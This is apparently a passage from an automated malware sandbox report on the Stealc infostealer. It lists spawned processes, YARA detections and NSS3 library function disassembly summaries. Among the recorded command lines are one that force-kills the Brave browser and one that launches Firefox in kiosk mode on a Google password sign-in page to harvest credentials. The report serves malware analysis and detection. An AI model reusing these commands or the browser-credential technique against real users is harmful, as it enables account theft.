Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	07:30:45
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe"
Imagebase:	0xed0000
File size:	1'783'808 bytes
MD5 hash:	A2331295021CE610C36D581F0D9A13D7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002B.00000002.2668304237.0000000000ED1000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002B.00000002.2671773681.000000000180B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002B.00000003.2573497477.00000000056E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	07:30:45
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x50000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	07:30:45
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	07:30:46
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6d20e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	07:30:46
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6d20e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	07:30:46
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6d20e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	07:30:48
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2232 -prefMapHandle 2224 -prefsLen 25298 -prefMapSize 238442 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bea78fd9-aee6-407c-905f-2f1ca8196744} 3712 "\\.\pipe\gecko-crash-server-pipe.3712" 1b46406fb10 socket
Imagebase:	0x7ff6d20e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 6CCF6E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CE42120,6CCF7E60), ref: 6CCF6EBC
TlsGetValue.KERNEL32 ref: 6CCF6EDF
EnterCriticalSection.KERNEL32(?), ref: 6CCF6EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CCF6F25

Part of subcall function 6CCCA900: TlsGetValue.KERNEL32(00000000,?,6CE414E4,?,6CC64DD9), ref: 6CCCA90F
Part of subcall function 6CCCA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CCCA94F

PR_Unlock.NSS3 ref: 6CCF6F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CCF6FA9
TlsGetValue.KERNEL32 ref: 6CCF70B4
EnterCriticalSection.KERNEL32(?), ref: 6CCF70C8
PR_CallOnce.NSS3(6CE424C0,6CD37590), ref: 6CCF7104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CCF7117
SECOID_Init.NSS3 ref: 6CCF7128
PORT_Alloc_Util.NSS3(00000057), ref: 6CCF714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCF717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCF71A9
PR_NotifyAllCondVar.NSS3 ref: 6CCF71CF
PR_Unlock.NSS3 ref: 6CCF71DD
free.MOZGLUE(?), ref: 6CCF71EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CCF7208
free.MOZGLUE(00000000), ref: 6CCF7221
free.MOZGLUE(00000001), ref: 6CCF7235
TlsGetValue.KERNEL32 ref: 6CCF724A
EnterCriticalSection.KERNEL32(?), ref: 6CCF725E
PR_NotifyCondVar.NSS3 ref: 6CCF7273
PR_Unlock.NSS3 ref: 6CCF7281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CCF7291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCF72B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCF72D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCF72E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCF7301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCF7310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCF7335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCF7344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCF7363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCF7372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CE30148,,defaultModDB,internalKeySlot), ref: 6CCF74CC
free.MOZGLUE(00000000), ref: 6CCF7513
free.MOZGLUE(00000000), ref: 6CCF751B
free.MOZGLUE(00000000), ref: 6CCF7528
free.MOZGLUE(00000000), ref: 6CCF753C
free.MOZGLUE(00000000), ref: 6CCF7550
free.MOZGLUE(00000000), ref: 6CCF7561
free.MOZGLUE(00000000), ref: 6CCF7572
free.MOZGLUE(00000000), ref: 6CCF7583
free.MOZGLUE(00000000), ref: 6CCF7594
free.MOZGLUE(00000000), ref: 6CCF75A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CCF75BD
free.MOZGLUE(00000000), ref: 6CCF75C8
free.MOZGLUE(00000000), ref: 6CCF75F1
PR_NewLock.NSS3 ref: 6CCF7636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CCF7686
PR_NewLock.NSS3 ref: 6CCF76A2

Part of subcall function 6CDA98D0: calloc.MOZGLUE(00000001,00000084,6CCD0936,00000001,?,6CCD102C), ref: 6CDA98E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CCF76B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CCF7707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CCF771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CCF7731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CCF774A
DeleteCriticalSection.KERNEL32(?), ref: 6CCF7770
free.MOZGLUE(?), ref: 6CCF7779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCF779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCF77AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CCF77C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CCF77DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CCF7821
PORT_Alloc_Util.NSS3(?), ref: 6CCF7837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CCF785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CCF786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CCF78AC
free.MOZGLUE(00000000), ref: 6CCF78BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CCF78F3
free.MOZGLUE(00000000), ref: 6CCF78FC
free.MOZGLUE(00000000), ref: 6CCF791C

Part of subcall function 6CCD07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CC6204A), ref: 6CCD07AD
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CC6204A), ref: 6CCD07CD
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CC6204A), ref: 6CCD07D6
Part of subcall function 6CCD07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CC6204A), ref: 6CCD07E4
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,6CC6204A), ref: 6CCD0864
Part of subcall function 6CCD07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CCD0880
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,?,6CC6204A), ref: 6CCD08CB
Part of subcall function 6CCD07A0: TlsGetValue.KERNEL32(?,?,6CC6204A), ref: 6CCD08D7
Part of subcall function 6CCD07A0: TlsGetValue.KERNEL32(?,?,6CC6204A), ref: 6CCD08FB

Strings

dbm:, xrefs: 6CCF7716
NSS Internal Module, xrefs: 6CCF74A2, 6CCF74C6
rdb:, xrefs: 6CCF7744
dll, xrefs: 6CCF788E
kbi., xrefs: 6CCF7886
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CCF74C7
,defaultModDB,internalKeySlot, xrefs: 6CCF748D, 6CCF74AA
extern:, xrefs: 6CCF772B
sql:, xrefs: 6CCF76FE
Spac, xrefs: 6CCF7389

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 1f427dda7714ba8437d1bdb20cb19622e84118bfba6c0c41aefa0f087e64760f
Instruction ID: 5b152b67cfc39c9a360db5bacde1b0dc79a0b71ac4978f7daabe28deedf76db7
Opcode Fuzzy Hash: 1f427dda7714ba8437d1bdb20cb19622e84118bfba6c0c41aefa0f087e64760f
Instruction Fuzzy Hash: 705212B1E00205DBEF519F65CC05BAA7BB4BF05308F148128ED29A7B51F730E956DBA2

Function 6CD1BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6CD1C0C8

Part of subcall function 6CDA9440: LeaveCriticalSection.KERNEL32 ref: 6CDA95CD
Part of subcall function 6CDA9440: TlsGetValue.KERNEL32 ref: 6CDA9622
Part of subcall function 6CDA9440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6CDA964E

PR_EnterMonitor.NSS3 ref: 6CD1C0AE

Part of subcall function 6CDA9090: LeaveCriticalSection.KERNEL32 ref: 6CDA91AA
Part of subcall function 6CDA9090: TlsGetValue.KERNEL32 ref: 6CDA9212
Part of subcall function 6CDA9090: _PR_MD_WAIT_CV.NSS3 ref: 6CDA926B

Part of subcall function 6CCD0600: GetLastError.KERNEL32(?,?,?,?,?,6CCD05E2), ref: 6CCD0642
Part of subcall function 6CCD0600: TlsGetValue.KERNEL32(?,?,?,?,?,6CCD05E2), ref: 6CCD065D
Part of subcall function 6CCD0600: GetLastError.KERNEL32 ref: 6CCD0678
Part of subcall function 6CCD0600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6CCD068A
Part of subcall function 6CCD0600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCD0693
Part of subcall function 6CCD0600: PR_SetErrorText.NSS3(00000000,?), ref: 6CCD069D
Part of subcall function 6CCD0600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,8C147316,?,?,?,?,?,6CCD05E2), ref: 6CCD06CA
Part of subcall function 6CCD0600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6CCD05E2), ref: 6CCD06E6

PR_EnterMonitor.NSS3 ref: 6CD1C0F2
PR_ExitMonitor.NSS3 ref: 6CD1C10E
PR_ExitMonitor.NSS3 ref: 6CD1C081

Part of subcall function 6CDA9440: TlsGetValue.KERNEL32 ref: 6CDA945B
Part of subcall function 6CDA9440: TlsGetValue.KERNEL32 ref: 6CDA9479
Part of subcall function 6CDA9440: EnterCriticalSection.KERNEL32 ref: 6CDA9495
Part of subcall function 6CDA9440: TlsGetValue.KERNEL32 ref: 6CDA94E4
Part of subcall function 6CDA9440: TlsGetValue.KERNEL32 ref: 6CDA9532
Part of subcall function 6CDA9440: LeaveCriticalSection.KERNEL32 ref: 6CDA955D

PR_EnterMonitor.NSS3 ref: 6CD1C068

Part of subcall function 6CDA9090: TlsGetValue.KERNEL32 ref: 6CDA90AB
Part of subcall function 6CDA9090: TlsGetValue.KERNEL32 ref: 6CDA90C9
Part of subcall function 6CDA9090: EnterCriticalSection.KERNEL32 ref: 6CDA90E5
Part of subcall function 6CDA9090: TlsGetValue.KERNEL32 ref: 6CDA9116
Part of subcall function 6CDA9090: LeaveCriticalSection.KERNEL32 ref: 6CDA913F

Part of subcall function 6CCD0600: GetProcAddress.KERNEL32(?,?), ref: 6CCD0623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6CD1C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6CD1C183
free.MOZGLUE(00000000), ref: 6CD1C18E
PR_LoadLibrary.NSS3(?), ref: 6CD1C1A3
PR_EnterMonitor.NSS3 ref: 6CD1C1D4
PR_ExitMonitor.NSS3 ref: 6CD1C1F3
PR_CallOnce.NSS3(6CE42318,6CD1CA70), ref: 6CD1C210
PR_EnterMonitor.NSS3 ref: 6CD1C22B
PR_ExitMonitor.NSS3 ref: 6CD1C247
PR_EnterMonitor.NSS3 ref: 6CD1C26A
PR_ExitMonitor.NSS3 ref: 6CD1C287
PR_UnloadLibrary.NSS3(?), ref: 6CD1C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6CD1C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CD1C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6CD1C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6CD1C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6CD1C7B5
PR_UnloadLibrary.NSS3(?), ref: 6CD1C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6CD1C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CD1C8BF
PORT_Alloc_Util.NSS3(?), ref: 6CD1C8D5
free.MOZGLUE(00000000), ref: 6CD1C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CD1C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CD1C9E5
free.MOZGLUE(00000000), ref: 6CD1CA5A

Strings

Vendor NSS FIPS Interface, xrefs: 6CD1C34A
NSS_FORCE_TOKEN_LOCK, xrefs: 6CD1C77D
NSC_GetFunctionList, xrefs: 6CD1C093
nss_mod_log, xrefs: 6CD1C3CC
NSS_DEBUG_PKCS11_MODULE, xrefs: 6CD1C38D
PKCS 11, xrefs: 6CD1C2F9, 6CD1C314
NSS_ReturnModuleSpecData, xrefs: 6CD1C275
NSC_ModuleDBFunc, xrefs: 6CD1C0FC
NSC_GetInterface, xrefs: 6CD1C04F
FC_GetFunctionList, xrefs: 6CD1C098
FC_GetInterface, xrefs: 6CD1C054
NSS_DISABLE_UNLOAD, xrefs: 6CD1C7B0

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: ed505ef0286bd00f1d80907667837d6b10d8b3b2a38c92d7e7537b5ca9ad9a9f
Instruction ID: 7aa739818bafe212e6a7934927a0059825649d4d172bab0240c74f758ecb1e2b
Opcode Fuzzy Hash: ed505ef0286bd00f1d80907667837d6b10d8b3b2a38c92d7e7537b5ca9ad9a9f
Instruction Fuzzy Hash: B7426CB2A08204DFDF00EF65E88AB5A7BB1BB9634CF158029D8058BF31E731D556CB95

Function 6CDF3FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6CDF3FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CDF3FFE
malloc.MOZGLUE(-00000003), ref: 6CDF4016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6CE2FC62), ref: 6CDF404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CDF407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CDF40A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CDF40D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CDF4112
malloc.MOZGLUE(00000000), ref: 6CDF411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6CDF414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CDF4160
free.MOZGLUE(?), ref: 6CDF416C
malloc.MOZGLUE(?), ref: 6CDF41AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6CDF41EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6CDF4520), ref: 6CDF4244
GetEnvironmentStrings.KERNEL32 ref: 6CDF424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CDF4263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CDF4283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDF42B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CDF42E4
malloc.MOZGLUE(00000002), ref: 6CDF42FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CDF4342
GetStdHandle.KERNEL32(000000F6), ref: 6CDF43AB
GetStdHandle.KERNEL32(000000F5), ref: 6CDF43B2
GetStdHandle.KERNEL32(000000F4), ref: 6CDF43B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CDF4403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CDF4410

Part of subcall function 6CD8C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD8C2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6CDF445E
CloseHandle.KERNEL32(?), ref: 6CDF446B
free.MOZGLUE(?), ref: 6CDF4482
free.MOZGLUE(00000000), ref: 6CDF4492
free.MOZGLUE(00000000), ref: 6CDF44A4
GetLastError.KERNEL32 ref: 6CDF44B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6CDF44BE
free.MOZGLUE(?), ref: 6CDF44C7
free.MOZGLUE(00000000), ref: 6CDF44D5
free.MOZGLUE(00000000), ref: 6CDF44EA

Strings

NSPR_INHERIT_FDS=, xrefs: 6CDF41E9
=, xrefs: 6CDF44F8
D, xrefs: 6CDF4396

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: b51fb65d09b0fcfb0d4c78d13b1c9243bb2e27f4c1ff935748b60065daae7511
Instruction ID: 0c3c1ea087ad377dc7b69a63daf8a9e2ee9b8babb7446c955611f2bb716a5bff
Opcode Fuzzy Hash: b51fb65d09b0fcfb0d4c78d13b1c9243bb2e27f4c1ff935748b60065daae7511
Instruction Fuzzy Hash: 4E020670E04355DBEB109F69CA407AEBBB4BF05318F264129DC7AA7761D770E806CB91

Function 6CD06D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CE0A8EC,0000006C), ref: 6CD06DC6
memcpy.VCRUNTIME140(?,6CE0A958,0000006C), ref: 6CD06DDB
memcpy.VCRUNTIME140(?,6CE0A9C4,00000078), ref: 6CD06DF1
memcpy.VCRUNTIME140(?,6CE0AA3C,0000006C), ref: 6CD06E06
memcpy.VCRUNTIME140(?,6CE0AAA8,00000060), ref: 6CD06E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD06E38

Part of subcall function 6CD8C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD8C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CD06E76
TlsGetValue.KERNEL32 ref: 6CD0726F
EnterCriticalSection.KERNEL32(?), ref: 6CD07283

Strings

!, xrefs: 6CD07123

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 18c95009b0a8d175931fbaa05d7d5c3bb34ff6d45ad82061c1c38879e6ead1f4
Instruction ID: 09a231b891ac6e822f9d1f4a92442a3c0d12b7c606e45929da4e75d268932821
Opcode Fuzzy Hash: 18c95009b0a8d175931fbaa05d7d5c3bb34ff6d45ad82061c1c38879e6ead1f4
Instruction Fuzzy Hash: B8729F75E05218DFDB60DF28CC8879ABBB5BF48308F1141A9D90CAB751E731AA85CF91

Function 6CD0F8C0 Relevance: 54.6, APIs: 29, Strings: 2, Instructions: 302memoryCOMMON

Download Yara Rule

APIs

PK11_WrapSymKey.NSS3(0000210B,00000000,?,?,?), ref: 6CD0F97D
PK11_WrapSymKey.NSS3(0000210B,00000000,?,?,?), ref: 6CD0F9A6

Part of subcall function 6CD2C710: TlsGetValue.KERNEL32 ref: 6CD2C825
Part of subcall function 6CD2C710: EnterCriticalSection.KERNEL32(?), ref: 6CD2C839
Part of subcall function 6CD2C710: PR_Unlock.NSS3(?), ref: 6CD2C88B

PK11_ExtractKeyValue.NSS3(?), ref: 6CD0F9E1
PK11_ExtractKeyValue.NSS3(?), ref: 6CD0FA00
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CD0FA47
htonl.WSOCK32(?), ref: 6CD0FA69
htonl.WSOCK32(?,?), ref: 6CD0FA6F
htonl.WSOCK32(?,?,?), ref: 6CD0FA8D
htonl.WSOCK32(?,?,?,?), ref: 6CD0FA93
htonl.WSOCK32(?,?,?,?,?), ref: 6CD0FAAD
htonl.WSOCK32(?,?,?,?,?,?), ref: 6CD0FAB3
htonl.WSOCK32(00000000,?,?,?,?,?,?), ref: 6CD0FACD
htonl.WSOCK32(?,00000000,?,?,?,?,?,?), ref: 6CD0FAD5
htonl.WSOCK32(?,?,00000000,?,?,?,?,?,?), ref: 6CD0FAEE
htonl.WSOCK32(?,?,?,00000000,?,?,?,?,?,?), ref: 6CD0FAFA
htonl.WSOCK32(00000000,?,?,?,00000000,?,?,?,?,?,?), ref: 6CD0FB17
htonl.WSOCK32(?,00000000,?,?,?,00000000,?,?,?,?,?,?), ref: 6CD0FB1F
